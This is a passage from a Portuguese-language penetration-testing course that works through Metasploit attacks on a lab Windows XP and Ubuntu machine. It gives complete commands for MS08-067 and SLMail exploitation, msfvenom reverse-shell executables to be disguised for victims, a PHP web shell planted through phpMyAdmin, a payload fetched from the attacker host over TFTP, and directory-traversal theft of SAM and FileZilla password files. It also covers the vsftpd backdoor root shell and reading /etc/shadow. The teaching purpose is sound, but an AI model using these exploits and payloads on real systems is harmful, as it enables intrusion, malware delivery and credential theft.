Iniciando o Metasploit Framework

Suponha que você tenha descoberto uma vulnerabilidade em seu cliente (um sistema XP) este sistema não contém as atualizações de segurança da Microsoft. Como analista de segurança ou Pentester cabe a você explorar essa possibilidade e avaliar o risco de comprometimento.

Uma das abordagens seria instalar um sistema XP que também possua a vulnerabilidade, tentar detectar essa vulnerabilidade, e desenvolver um exploit. No entanto, desenvolver esse tipo de código manualmente exige tempo e habilidade, dificultando o seu teste de invasão.

Para driblar esse problema, você poderia pesquisar na internet seguimentos de código que exploram essa vulnerabilidade em repositórios de exploits, insta salientar que, nem todos os códigos públicos de exploits são confiáveis, alguns códigos podem destruir o sistema alvo ou até mesmo atacar o seu próprio sistema. É importante permanecer atento ao executar qualquer código encontrado online.

Além disso, exploits públicos podem não atender diretamente as suas necessidades, sendo necessário realizar algum trabalho adicional no seu ambiente.

Felizmente podemos utilizar o **Metasploit** para automatizar o processo de exploração em vulnerabilidades conhecidas.

Existem diferentes tipos de interfaces no Metasploit, usaremos o **msfconsole** que é o console baseado em terminal do Metasploit, qualquer outra interface pode ser usada para executar o software embora seja interessante praticar as linhas de código necessárias para execução em modo console.

Para iniciar o Framework digite apenas **msfconsole** no terminal, o Metasploit demorará um pouco para iniciar visto que necessita carregar módulos e dependências, depois que estiver concluído, uma tela de boas-vindas aparecerá em seu terminal e você poderá utilizá-lo.

```
root@kali:~# msfconsole
```

O Metasploit é um Framework em constante atualização, para utilizar sempre a versão mais recente com todos os exploits atuais você pode executar o comando de update (**msfupdate**).

Caso você não saiba o que fazer no **msfconsole** lembre que existe um comando **help** que lista os demais comandos disponíveis junto com a descrição do que eles fazem. Digite **help <nome do comando>**.

Módulos no Metasploit

Podemos utilizar o Metasploit para explorar vulnerabilidades que não tenham sido corrigidas no nosso alvo Windows XP. Você aprendeu a identificar vulnerabilidades utilizando scanners, entretanto no momento, simplesmente confie que o sistema Windows XP está vulnerável.

Nosso primeiro passo é utilizar o Framework para encontrar módulos que explorem a vulnerabilidade MS08-067 no Windows XP. Você pode fazer isso de diferentes maneiras, uma pesquisa no Google é uma maneira simples de fazer. O Metasploit também conta com um banco de dados online de módulos.

A função de pesquisa embutida é a opção mais aconselhada na hora de pesquisar módulos, como mostrado, apenas digite **search** e a query desejada. Depois de identificado, o comando **info** traz maiores informações acerca do módulo. Os comandos completos são descritos abaixo:

```
msf> search ms08-067
```

```
msf> info exploit/windows/smb/ms08_067_netapi
```

A utilização do comando **info** disponibiliza várias informações na tela, inicialmente algumas informações básicas são apresentadas acerca do módulo incluindo:

- Um nome descritivo seguido por um nome do módulo.
- Plataforma, que informa qual o sistema operacional o exploit atua.
- Privilégios, informa se esse módulo exige ou concede privilégios elevados no alvo.

- O ranking, que lista o potencial impacto do exploit no sistema alvo.
- Uma lista contendo as versões de sistemas operacionais cujo exploit poderá ser efetivo.
- Uma lista com diversas opções do módulo, que podem ser configurados para atender melhor às necessidades do atacante.
- Informações sobre o payload que ajudam o metasploit Framework a decidir quais payloads podem ser usados com o exploit selecionado.
- Uma descrição detalhada sobre a vulnerabilidade em particular.
- E por fim as referências que contém links para DB's de vulnerabilidades online.

Os comandos do MSF são bastante intuitivos, no próximo tópico aprenderemos a utilizar e configurar exploits visando o ataque de alvos na rede.

Configurando e Lançando um Exploit

Podemos confirmar o módulo a ser utilizado com o Metasploit através do comando:

```
msf > use windows/smb/ms08_067_netapi
```

Agora que estamos no contexto do exploit devemos fornecer algumas informações. Este framework pode ajudar em diversos aspectos do teste de invasão, entretanto algumas configurações devem ser executadas previamente para que o exploit seja lançado contra o alvo.

Para saber as informações que você precisa fornecer ao metasploit digite o comando **show options**. Na parte superior da saída (no terminal) serão apresentadas as configurações padrão do módulo, caso você determine que será necessário alterar alguma configuração do módulo é possível modificá-lo através do comando **set** (que será explicado posteriormente).

```
msf exploit(ms08_067_netapi) > show options
```

Algumas opções importantes e passíveis de alteração em situações distintas são: RHOST, RPORT, SMBPIPE e Exploit

Target (variando de acordo com o exploit ou módulos utilizados na exploração).

O RHOST refere-se ao host remoto (seu alvo), deve informar o **endereço IP** da máquina vulnerável.

```
msf exploit(ms08_067_netapi) > set rhost IP_DA_VÍTIMA
```

O **RPORT** informa a porta remota a ser atacada, nesse caso está configurada como 445 (configuração padrão do serviço Windows SMB). Observe que o Metasploit busca diminuir ao máximo o nosso trabalho configurando a porta padrão para a exploração do sistema, nada nos impede de mudar essa porta caso necessário, entretanto nesse caso utilizaremos a porta informada.

SMBPIPE, assim como o valor de RPORT devemos manter o padrão para opção **SMBPIPE** como **Browser**, os Pipes SMB permitem efetuar comunicação entre processos no sistema operacional Windows por meio da rede. Posteriormente estudaremos como descobrir quais Pipes SMB estão ouvindo em nossa máquina Alvo.

Exploit Target pode ser deixado na opção **0** (**alvo automático)** essa função corresponde ao sistema operacional atual, é possível obter os alvos disponíveis através do comando **show targets**.

```
msf exploit(ms08_067_netapi) > show targets
```

Observando o comando **show options** tudo parece estar devidamente configurado, todavia ainda não terminamos, o próximo passo é dizer ao nosso exploit o que ele deve fazer após o alvo ser explorado, para que isso seja facilitado o Metasploit possibilita a configuração de payloads.

O Metasploit contém uma grande variedade de payloads, desde comandos simples até complexos sistemas de exploração, basicamente devemos selecionar um payload compatível que será utilizado após a exploração ter sido bem sucedida.

Da mesma forma que os exploits, novos payloads são adicionados regularmente ao framework, por exemplo, a medida que plataformas móveis se espalham, os payloads para Android e IOS estão começando a aparecer no Metasploit. Obviamente

nem todos os payloads do framework serão compatíveis como nosso exploit.

Para que possamos ver os payloads compatíveis digite **show payload.**

```
msf exploit(ms08_067_netapi) > show payloads
```

Saiba que caso você tenha esquecido de definir um payload, o módulo de exploit simplesmente irá escolher o payload padrão e as configurações associadas apesar disso você deve adquirir o hábito de definir manualmente as configurações do framework visto que nem sempre as opções padrão atenderam as suas necessidades.

Para o nosso teste inicial vamos enviar os nossos exploits com uma opção padrão de payload, esse será apenas um teste, agora é possível lançar o exploit, digite apenas exploit para dizer ao framework que ele deve lançar o ataque.

```
msf exploit(ms08_067_netapi) > exploit
```

Se você seguiu à risca todas as recomendações provavelmente essa foi a sua primeira invasão, como você pode perceber, acabamos de obter uma sessão do meterpreter.

Meterpreter é a abreviação de meta interpreter ou meta interpretador o payload exclusivo do Metasploit. Ele pode fazer tudo que um shell de comandos faz e tem diversas funções a mais. O meterpreter será detalhado em capítulos posteriores, você pode digitar o comando **help** no console do meterpreter para obter uma lista de comandos possíveis.

Nesse capítulo ainda não exploraremos o sistema que invadimos, isso acontecerá no próximo capítulo, agora vamos continuar aprendendo, encerre a sessão do meterpreter e volte ao console do Metasploit:

```
meterpreter > exit
```

Tipos de Shell

O comando **show payloads** traz uma lista de payloads compatíveis, podemos ver uma variedade de opções como shells de comando, meterpreter, execução de comandos no windows,

entre outras. Os shells (entre eles o meterpreter) classificam-se em duas vertentes: **bind** e **reverse**.

A shell do tipo **bind** compele o computador alvo a abrir um shell de comandos e permanecer escutando uma porta local, o atacante então se conecta ao alvo por meio dessa porta. Um problema nessa abordagem vem por conta do firewall, que quando configurados corretamente, podem bloquear o tráfego às portas aleatórias como a 4444.

As **reverse shells** (shell reverso) em contrapartida obrigam uma conexão de volta ao computador do atacante, nessa circunstância abrimos uma porta local em nosso computador atacante e através de um **listener** ficamos ouvindo à espera de uma conexão feita pelo alvo, esse tipo de prática tem maior sucesso ao enganar um firewall.

Lembre-se, qualquer porta pode ser definida para o shell reverso, uma escolha interessante são portas comuns, por exemplo 443, 80, 53 entre outras que fornecem serviços essenciais e geralmente não são filtradas.

Para continuar os nossos testes com o metasploit vamos selecionar um reverse shell windows como nosso payload através do comando:

```
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
```

Ao optarmos por um reverse shell é necessário informar ao alvo o endereço IP do computador atacante e a porta em que executaremos o **listener**. Logo, devemos configurar a opção **LHOST** com o endereço IP da máquina Kali:

```
msf exploit(ms08_067_netapi) > set LHOST IP_DO_KALI
```

Não se preocupe com LPORT, deixe o valor padrão (4444), o mesmo para EXITFUNC. Para lançar o exploit devemos digitar exploit no console.

```
msf exploit(ms08_067_netapi) > exploit
```

Perceba a diferença entre a invasão posterior e essa, isso acontece por conta do payload utilizado, caso queira tentar utilizando o Meterpreter, simplesmente modifique o

exemplo para **windows/meterpreter/reverse_tcp** e tente explorar novamente o alvo.

Payload com o Msfvenom

O **msfvenom** foi adicionado ao Metasploit em meados de 2011. Antes de ser adicionado, as ferramentas **msfpayload** e **msfencode** eram utilizadas para codificar payloads de maneira independente. Com a chegada do msfvenom as funcionalidades do msfpayload e do msfencode foram combinadas em uma ferramenta tornando-se o padrão. Para visualizar a página de ajuda do msfvenom digite **msfvenom -h** no terminal.

Nosso objetivo até então tem sido explorar uma vulnerabilidade no sistema alvo e assumir o controle do computador, entretanto faremos algo um pouco diferente agora. Ao invés de contarmos com uma vulnerabilidade sem correção no sistema alvo, tentaremos explorar o único problema de segurança que não pode ser totalmente corrigido, o usuário.

O **msfvenom** permite criar payloads independentes que podem ser executados em um sistema alvo com o objetivo de explorar o usuário seja por engenharia social ou por meio do upload desse arquivo em um servidor vulnerável.

Saiba que mesmo em um ambiente com falhas de segurança escassas, usuários com frequência pode ser uma maneira de obter acesso não autorizado ao sistema.

Caso você queira listar todos os payloads disponíveis digite **msfvenom -l payloads**, para esse exemplo utilizaremos o meterpreter em **windows/meterpreter/reverse_tcp** que irá utilizar uma conexão reversa como shell meterpreter. A opção **-p** é utilizada para selecionar payload.

```
root@kali:~# msfvenom -l payloads
```

Após selecionar o payload precisamos informar algumas opções para o seu correto funcionamento. O parâmetro **-o** informa quais são as opções que podem ser preenchidas e modificadas.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -o
```

Nosso **LHOST** deve ser configurado com o endereço IP da máquina atacante e nosso **LPORT** que está definido como valor padrão 4444 também pode ser modificado para qualquer porta neste exemplo utilizaremos a porta 12345 digitando **LPORT=12345**. A opção **EXITFUNC** permanecerá com o valor padrão.

Consecutivamente precisamos informar o formato de saída a ser usado. Por hora utilizaremos um executável do Windows, todavia existem diversos formatos que podem ser utilizados.

Nesse ataque você pode verificar todos os formatos disponíveis através dá opção **--help-format**.

```
root@kali:~# msfvenom --help-format
```

Para selecionar o formato de saída utilizamos a opção **-f** juntamente com o formato selecionado, que nesse caso será um executável do Windows, o comando completo pode ser visto abaixo:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=12345 -f exe > PayloadStandalone.exe
```

Existem diversas maneiras de enviar o payload para a vítima, você pode usar a sua imaginação combinando ataques de engenharia social para concluir a exploração. Uma boa maneira, é hospedar esse payload em um servidor web disfarçando-o de algo útil, com o objetivo de enganar usuários para que iniciem o download do software malicioso.

Ainda falta uma parte desse ataque, precisamos configurar o Linux Kali para ouvir a conexão reversa que será criada quando um usuário desavisado clicar no executável, esse será o próximo tópico do nosso curso.

Módulo Multi/Handler

Como citado anteriormente uma boa alternativa é hospedar o seu **payload** em um servidor web disfarçando-o de algo útil para o usuário alvo que você quer atacar. Vamos hospedar o nosso executável e um servidor **Apache** no nosso **Kali Linux**, assim poderemos navegar até o arquivo a partir da máquina alvo.

Faça uma cópia do payload executável e coloque-o dentro do diretório **/var/www** em seguida certifique-se que o servidor **Apache** esteja rodando através do comando **service apache2 start**.

```
root@kali:~# cp PayloadStandalone.exe /var/www

root@kali:~# service apache2 start
```

Através do **Windows XP** podemos navegar pelo **Internet Explorer** até o local onde o nosso **payload** foi hospedado, nesse caso em **http://IpLinuxKali/PayloadStandalone.exe**.

Quando lançamos um **exploit** com **payload reverse shell** através do **Metasploit** a ferramenta se encarrega de configurar um **handler** para ficar ouvindo a **porta 4444** e tratar a conexão reversa iniciada pelo alvo. Nesse caso ainda não configuramos um handler, tendo em vista que criamos apenas um payload utilizando a ferramenta **msfvenom**.

Vamos iniciar o **msfconsole** e procurar por um módulo chamado **multi/handler**, esse módulo permite configurar handlers independentes, justamente o que precisamos para estabelecer uma conexão entre o **Linux Kali** e o **Windows XP** que será comprometido através do payload executável.

Por meio do comando e **use multi/handler** iniciamos nossa configuração.

```
root@kali:~# msfconsole

msf > use multi/handler
```

Agora devemos informar ao módulo multi/handler (existem outros vários handlers) qual payload utilizamos ao criar nosso executável malicioso, os comandos utilizados seguem o mesmo padrão de uma exploração através de exploit.

```
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
```

Caso você fique perdido nas configurações necessárias use o comando **show options**.

```
msf exploit(handler) > show options
```

Nesse momento temos que configurar o IP e a porta do nosso listen host **(LHOST)** e finalmente utilizar o comando **exploit** para colocar o módulo em escuta.

```
msf exploit(handler) > set LHOST 192.168.107.129

msf exploit(handler) > set LPORT 12345

msf exploit(handler) > exploit
```

Perceba que depois desses comandos o metasploit configura um handler reverso na porta 12345 e fica esperando um payload. Podemos retornar ao nosso alvo Windows XP e executar o instalador malicioso que preparamos nas atividades anteriores, caso tudo tenha ocorrido corretamente é possível identificar uma conexão reversa e obter uma sessão meterpreter no terminal onde o handler foi executando.

Lembre-se que essa configuração foi executada pensando em uma rede interna, para tornar esse ataque externo, você precisa abrir portas no seu **modem/roteador** e executar alguns redirecionamentos de porta. Outra solução é utilizar um **servidor virtual privado**.

Falaremos mais sobre isso em atividades posteriores, é importante que você estude bastante o que aprendeu aqui e lembre-se sempre de executar esses exemplos na prática documentando tudo.

Módulos Auxiliares

O Metasploit possui módulos que auxiliam em diversas fases do teste de invasão. Dentre esses, alguns não são utilizados na exploração de falhas, e são conhecidos como módulos auxiliares, incluindo recursos como **scanner de vulnerabilidade**, **fuzzer** e **módulos para negação de serviço**. Observe que módulos de exploração utilizam payloads enquanto módulos auxiliares não fazem isso.

Quando utilizamos inicialmente o módulo de exploração ms-08-067-netapi, uma de suas opções de configuração era **SMBPIPE**, tendo o valor padrão dessa opção como **Browser**. Podemos utilizar o módulo auxiliar **pipe_auditor** para enumerar os **pipes** que estiverem ouvindo em um servidor **SMB**.

```
msf > use scanner/smb/pipe_auditor

msf auxiliary(pipe_auditor) > show options
```

Esse módulo possui algumas opções um pouco diferentes das que vimos até então, existe uma opção **RHOSTS** que possibilita especificar mais de um host remoto em que o módulo será executado, também podemos ver as opções **SMBUser**, **SMBPass** e **SMBDomain** que são utilizadas caso a máquina alvo faça parte de algum domínio. Tendo em vista que nosso **Windows XP** não faz parte de nenhum domínio manteremos a opção padrão **workgroup** bem como os valores para **SMBUser** e **SMBPass** em branco.

A opção **THREADS** especifica a velocidade de execução do módulo onde é possível executá-lo em vários threads. Existindo apenas uma máquina para fazer o scanner o valor padrão de **1** irá funcionar para nós. Podemos então configurar **RHOSTS** que é o endereço IP do nosso alvo.

```
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.107.130
```

Lançaremos um módulo através do comando **exploit** mesmo que tecnicamente não estejamos explorando nada.

```
msf auxiliary(pipe_auditor) > exploit
```

Observe que após a auditoria apenas o pipe **Browser** está disponível, levando em conta que este é o único pipe ouvindo. O valor correto para opção **SMBPIPE** no módulo de exploit **ms-08-067-netapi** utilizado anteriormente é **Browser**.

MS08-067-netapi com Armitage

Sabemos que um **servidor SMB** em nosso alvo **Windows XP** não tem algumas correções de segurança, em específico a **ms08-067-netapi**. Essa vulnerabilidade tem boa reputação quando executada contra sistemas operacionais antigos e não atualizados.

Usaremos essa vulnerabilidade como exemplo para a exploração com o **Metasploit Framework**, tendo em vista que conhecimentos adquiridos em capítulos anteriores indicaram a utilização desse exploit (ms08_067_netapi).

Esse exploit é amplamente divulgado em cursos e palestra sobre testes de invasão por sua facilidade de execução e comprometimento do alvo. Você percebeu que, com apenas alguns comandos o sistema Windows XP foi "invadido". Tenha em mente que os sistemas operacionais mais atuais não serão assim tão fáceis de explorar.

Dessa vez vamos explorar novamente essa vulnerabilidade, entretanto usaremos o **Armitage**, uma interface gráfica para o **Metasploit**.

O **Armitage** é bastante intuitivo e disponibiliza várias funcionalidades do Metasploit com poucos cliques. Inicie a ferramenta através do comando **armitage** ou clicando no ícone da barra lateral. Alguns erros podem acontecer quando a GUI for iniciada, para corrigi-los tente os comandos sugeridos no popup: **service start postgresql**, **service start metasploit** e **service stop metasploit**.

Após o start da aplicação, você pode inserir o endereço IP do alvo através da aba **Hosts > Add Hosts**. Em sequência **clique com o botão direito** sobre o **ícone do alvo** e selecione **Scan**, identificaremos assim portas abertas e o sistema operacional alvo.

Na aba **Attacks > Find Attacks** iniciaremos uma varredura por vulnerabilidades que possuem exploits dentro do framework e finalmente ao clicar novamente com o **botão direito** no **ícone da vítima** podemos ver uma nova aba **Attacks** contendo todos os possíveis ataques para aquele alvo. Experimente utilizar o **ms08_067_netapi**.

Explorando o WebDAV

Nos capítulos anteriores, após executarmos algumas varreduras em nosso alvo **Windows XP** descobrimos que a instalação do **Xampp** emprega credenciais padrão de login na pasta do **WebDAV** essa pasta é utilizada para fazer upload de arquivos no servidor web. Tendo isso em mente, podemos carregar nossas próprias páginas no servidor por meio de um cliente chamado **Cadáver**, iniciaremos criando um arquivo simples para ser carregado no servidor.

```
root@kali:~# cat test.txt
```

Utilizaremos a ferramenta com as credenciais **wampp:xampp** junto ao **WebDAV.**

```
root@kali:~# cadaver http://192.168.107.130/webdav
```

Devemos utilizar o comando **put** para carregar o arquivo de teste no servidor web.

```
dav:/webdav/> put test.txt
```

Você pode acessar **/webdav/test.txt** para ver o conteúdo do arquivo carregado no site, esse tipo de exploração parece boba, mas acontece bem mais do que você pode imaginar.

Até agora apenas um arquivo de texto foi colocado no servidor desprotegido, mas e se não fosse um **.txt**? Pense nas possibilidades, o que você faria?

Arquivos de texto não são muito úteis, entretanto fazer upload de um script no servidor web que nos permitisse executar comandos seria um excelente começo. Vamos iniciar o processo verificando se nosso usuário **WebDAV** possui permissões para fazer uploads no servidor.

```
dav:/webdav/> put test.php
```

Leve em conta que alguns servidores **WebDAV** abertos até permitem o upload de arquivos txt, mas bloqueiam script e páginas do tipo **.asp** ou **.php**, mas para efeitos de treinamento esse servidor permite o upload.

Já que utilizamos o **Msfvenom** anteriormente vamos treinar sua utilização, liste todos os **payloads** disponíveis usando a opção **-l** e procure pelos disponíveis em **PHP**.

```
root@kali:~# msfvenom -l payloads
```

Temos várias opções possíveis, entre elas usaremos o **php/meterpreter/reverse_tcp** lembrando que ao utilizar o parametro **-o** descobrimos quais opções devem ser preenchidas ao montar o **payload**.

```
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp -o
```

O próximo passo é definir **LHOST** informando ao payload qual **endereço de IP** ele deve se conectar, a opção **LPORT** fica

ao seu critério. Saiba que, por já estar em **PHP** devemos enviá-lo em formato puro para a saída através da opção **-f.**

```
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=2323 -f raw > meterpreter.php
```

Devemos fazer o upload do arquivo usando o WebDAV.

```
dav:/webdav/> put meterpreter.php
```

O **handler** precisa ser criado para que consigamos recepcionar as conexões vindas do alvo, lembre-se das lições anteriores. No **msfconsole** iniciaremos o **handler.**

```
msf > use multi/handler
```

```
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
```

```
msf exploit(handler) > set LHOST 192.168.107.129
```

```
msf exploit(handler) > set LPORT 2323
```

```
msf exploit(handler) > exploit
```

O payload que foi selecionado será executado ao ser carregado em um navegador, fornecendo uma sessão **Meterpreter** ao acessarmos o console do **Metasploit.**

Você deve ter notado que até agora exploramos apenas o Windows XP, um sistema operacional antigo e com poucos recursos de segurança, apesar de progredirmos para sistemas operacionais mais atuais ao decorrer do curso perceba que, para entender e dominar os conceitos de exploração em sistemas operacionais você precisa começar com os exemplos mais fáceis, onde não existem muitas complicações. Sistemas modernos possuem diversos mecanismos de segurança que devem ser levados em conta ao tentar algum tipo de exploração, inicialmente lidar com sistemas atuais só traria confusão para você que ainda está assimilando o conteúdo. Lembre-se, novas técnicas de exploração surgem quase todo dia, entretanto o conceito por trás dessa exploração dificilmente mudará, fique firme aprenda a base e construa conceitos sólidos em sua cabeça, depois disso você precisará ficar de olho nas novas técnicas, mas isso é outra história.

Explorando o phpMyAdmin

A aplicação **XAMPP** que foi explorada anteriormente possui também uma instalação aberta do **phpMyAdmin**, podemos executar comandos no **MySQL** diretamente pelo browser, fazendo o upload de scripts no servidor web por meio de **queries**.

Para iniciar essa exploração devemos primeiramente navegar até **http://192.168.107.130/phpmyadmin** e clicar na **aba SQL** que está situada na parte superior. Agora precisamente utilizar o **MySQL** para desenvolver um **script** que será utilizado no servidor web com o objetivo de conseguir um **shell remoto**.

Vamos utilizar a instrução **SELECT** e enviar um script em **PHP** ao sistema alvo, o objetivo é conseguir controlar remotamente o sistema. Esse script **<?php system($_GET['cmd']); ?>** obtêm o parâmetro cmd do URL e o executa através do comando system().

O **XAMPP** tem o **Apache** instalado como padrão em **C:\xampp\htodcs** e faremos o upload do script lá através do comando **SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"** na aba SQL do phpMyAdmin.

Precisamos das duas barras invertidas como escape para não termos um arquivo "C:xampphtdocsshell.php" que não poderá ser acessado pelo servidor web.

Após executar a **query** citada acima, navegue para o arquivo criado em **http://IPdoServidor/shell.php** e perceba um erro na página, isso acontece porque não passamos nenhum parâmetro a ser executado pelo script recentemente colocado no servidor.

Para o devido funcionamento, precisamos informar um parâmetro **cmd** com o comando que gostaríamos de executar no sistema alvo. Podemos por exemplo solicitar informações de rede através do **ipconfig** conforme o exemplo:

http://IpdoServidor/shell.php?cmd=ipconfig

O resultado será exibido na página web, trazendo as configurações de rede no servidor alvo.

Adicionando um Shell por FTP

Podemos hospedar um arquivo em nosso computador Kali e então utilizar o **shell.php** hospedado no servidor vítima para fazer upload do arquivo **meterpreter.php** criado na sessão anterior. Vamos utilizar um servidor **TFTP Atftpd** para hospedar o arquivo em nossa máquina Kali, disponibilizando uma forma de baixar o **meterpreter.php** para dentro de nosso servidor alvo. Como primeiro passo precisamos iniciar o **Atfpd** em modo **daemon** com o seguinte comando:

```
root@kali:~# atftpd --daemon --bind-address 192.168.107.129 /tmp
```

Agora precisamos orquestrar o download do **meterpreter.php** utilizando o parâmetro **cmd** no script **shell.php** assim:

```
http://192.168.107.130/shell.php?cmd=tftp 192.168.107.129 get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php
```

O comando tem o objetivo de baixar **meterpreter.php** para o diretório do Apache no servidor alvo, observe a transferência concluída. Inicie um **handler** no **Metasploit** para que o processo de exploração tenha sucesso, ao navegar para **http://192.168.107.130/meterpreter.php** perceba a conexão reversa acontecendo, uma nova sessão **meterpreter** estará disponível no **Metasploit**. Essa é mais uma das maneiras possíveis para se atacar nosso atual cenário, lembre-se que apesar de estarmos atacando o Windows XP com alguns softwares desatualizados o que importa é entender o conceito do ataque.

Directory Traversal no Zervit

Você lembra do nosso **Zervit** instalado no Windows XP? Caso não se lembre, o servidor está rodando na porta **3232** (se não estiver, abra o software e rode-o na porta 3232) e tem um problema chamado de **directory traversal** ou travessia de diretórios. Essa vulnerabilidade permitirá o download de arquivos no servidor sem a necessidade de autenticação.

Pode-se inclusive efetuar o download do arquivo de configuração **boot.ini** do Windows seguindo a URL abaixo:

http://192.168.107.130:3232/index.html?../../../../../../boot.ini

O recurso acima pode ser usado para baixar arquivos contendo **hashes** (senhas criptografadas) do Windows, entre outros conteúdos.

O XAMPP está instalado em **C:\xampp** logo podemos supor que o servidor FTP FileZilla esteja em **C:\xampp\FileZillaFtp**, fazendo um pouco de pesquisa sobre o FileZilla sabemos que o servidor FTP armazena hashes de senha **MD5** no arquivo **FileZilla Server.xml**, dependendo da complexidade das senhas, podemos recuperá-las utilizando sites de comparação e "quebra" de hashes.

Capturamos a senha do usuário **georgia** em lições anteriores, entretanto pensando em usuários adicionais, vamos usar o servidor Zervit para fazer o download do arquivo de configuração do FileZilla em **http://192.168.107.130:3232/index.html?../../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml** através da exploração de travessia de diretórios. Um adendo, **%20** corresponde ao espaço em branco na codificação hexadecimal.

Observe no arquivo baixado, encontramos duas contas de usuário e precisamos descobrir uma maneira de transformar a hash **MD5** em texto puro, faremos isso em lições futuras.

As senhas de **FTP** são um bom começo para nossa exploração, podemos melhorar isso tentando baixar o arquivo **SAM** (Security Accounts Manager) do Windows, que fica responsável por armazenar senhas no sistema operacional. Insta salientar que o arquivo **SAM** é criptografado através do algorítimo **RC4** (Rivest Cipher 4) de 128 bits, logo mesmo que um pentester consiga acesso ao arquivo, seria necessário reverter a criptografia. A chave da criptografia do utilitário **Syskey** (chamada de **bootkey**) fica no arquivo SYSTEM. Precisamos fazer o download do arquivo **SAM** e do arquivo **SYSTEM** para recuperar as hashes na tentativa de reverte-las para texto puro.

Tentaremos então fazer o download do arquivo **SAM** a partir da URL:

http://192.168.107.130:3232/index.html?../../../../../../WINDOWS/system32/config/sam

Algo inusitado acontece aqui, ao tentar usar o **Zervit** para baixar o arquivo, temos a mensagem de arquivo não encontrado, o que pode indicar que nosso servidor Zervit não possui permissão para acessar esse arquivo. Por sorte o Windows XP faz backup dos arquivos **SAM** e **SYSTEM** no diretório **C:\Windows\repair**, vale a pena tentar essa manobra.

http://192.168.107.130:3232/index.html?../../../../../../WINDOWS/repair/system

http://192.168.107.130:3232/index.html?../../../../../../WINDOWS/repair/sam

Sucesso ao obter os arquivos, em próximas lições tentaremos reverter as senhas para texto legível. Lembre-se que para tudo isso funcionar você precisa iniciar o **Zervit** no Windows XP a cada inicialização ou optar pela inicialização automática do servidor.

Buffer Overflow em Software terceiros

Até então, exploramos uma vulnerabilidade no sistema operacional **WIndows XP**, nessa lição tentaremos explorar um software terceiro, um servidor **SLMail** que é vulnerável ao **CVE-2003-0264** do **POP3**. A versão **5.5** do **SLMail** será nosso alvo, exploraremos com o módulo **windows/pop3/seattlelab_pass** no Metasploit.

O **Windows/pop3/seattlelab_pass** busca explorar um transbordamento de pilha no servidor **POP3** que poderemos explorar de maneira semelhante ao **MS08-067**.

```
msf > use windows/pop3/seattlelab_pass

msf exploit(seattlelab_pass) > show payloads

msf exploit(seattlelab_pass) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(seattlelab_pass) > show options

msf exploit(seattlelab_pass) > set RHOST 192.168.107.130

msf exploit(seattlelab_pass) > set LHOST 192.168.107.129

msf exploit(seattlelab_pass) > exploit
```

Novamente uma sessão do **meterpreter** será aberta. Você já deve estar se acostumando com os comandos do Metasploit, agora vamos tentar algo novo, procure através do **help** quais as possibilidades do nosso payload meterpreter. Tente fazer um **print screen** do alvo, ou **capturar as teclas** digitadas na máquina alvo.

Explorando Aplicações Web

Você se lembra na fase de varredura onde usamos o **Nikto** para varrer o sistema vulnerável? Encontramos nessa varredura a instalação do software **TikiWiki** na versão **1.9.8**, felizmente essa versão possui uma vulnerabilidade de execução no script **graph_formula.php** e possui exploit disponível no repositório do Metasploit.

```
msf > search tikiwiki
```

```
msf > info unix/webapp/tikiwiki_graph_formula_exec
```

Dentre os módulos disponibilizados pelo Metasploit, **unix/webapp/tikiwiki_graph_formula_exec** parece fornecer o que precisamos, ao executar **info** confirmamos as suspeitas de que o módulo corresponde à nossa saída do **Nikto** que foi obtida anteriormente. Existem opções um pouco diferentes para serem ajustadas nesse caso.

```
msf > use unix/webapp/tikiwiki_graph_formula_exec
```

```
msf exploit(tikiwiki_graph_formula_exec) > show options
```

```
msf exploit(tikiwiki_graph_formula_exec) > set RHOST IpDoUbuntu
```

Poderíamos definir um host virtual ou um proxy chain para o servidor **TikiWiki** conforme informado pelas opções do módulo, entretanto não usaremos essas opções agora. Deixe a **URI** com seu valor padrão (**/tikiwiki**). O exploit envolve a execução de código em **PHP**, levando isso em conta, iremos basear nosso **payload** em **PHP** assim como exemplos anteriores. O comando **show payloads** como dito anteriormente informa acerca dos possíveis payloads utilizados com o exploit vigente.

```
msf exploit(tikiwiki_graph_formula_exec) > set payload php/meterpreter/reverse_tcp

msf exploit(tikiwiki_graph_formula_exec) > set LHOST 192.168.107.129

msf exploit(tikiwiki_graph_formula_exec) > exploit
```

O módulo do Metasploit descobriu as credenciais para o banco de dados do **TikiWiki**, observe bem.

Very Secure FTP 2.3.4

Eis algo engraçado, observamos no alvo Linux que o servidor **VSFTP 2.3.4** é um binário contendo um **backdoor** que em certo momento foi restaurado pelos criadores do software. Para sabermos se o nosso alvo contém esse backdoor no servidor precisamos testar o serviço, caso negativo apenas seremos informados acerca de um erro no login.

Como funciona o teste? Você pode fornecer qualquer nome de usuário seguido dos caracteres **:)** no final, utilize também qualquer senha. Estando presente, o código malicioso permitirá o login com privilégios de **root**. Vamos tentar:

```
root@kali:~# ftp IpDoUbuntu

Name (IpDoUbuntu:root): pentest:)

Password: qualquercoisa
```

Observamos que o login fica travado após informarmos a senha, parece que o **FTP** continua processando a tentativa de login, tentaremos utilizar o **Netcat** para efetuar uma conexão com a porta **6200**.

```
root@kali:~# nc IpDoUbuntu 6200

# whoami
```

Perceba a resposta para o comando digitado, temos um root shell que nos proporciona controle total sobre a máquina alvo. Levando isso em conta, seremos capazes de obter **hashes** do sistema através do comando **cat /etc/shadow**. Salve o resultado no arquivo **linuxpasswords.txt** para que possamos reverter as senhas posteriormente.

Detectando e Explorando a MS17-010 (Eternalblue-Doublepulsar)

Dessa vez tentaremos detectar e explorar uma das vulnerabilidades mais discutidas de 2017, responsável por facilitar a disseminação de uma série de Ransomware's como o WannaCry. Utilizaremos o Metasploit Framework para detectar e explorar sistemas vulneráveis a essa falha.

A detecção será articulada através de um módulo do Metasploit disponível em ***auxiliary/scanner/smb/smb_ms17_010*** como exemplificado abaixo, iremos procurar por indícios dessa vulnerabilidade em um sistema operacional Windows 7, entretanto a falha cobre outras versões do sistema Windows também.

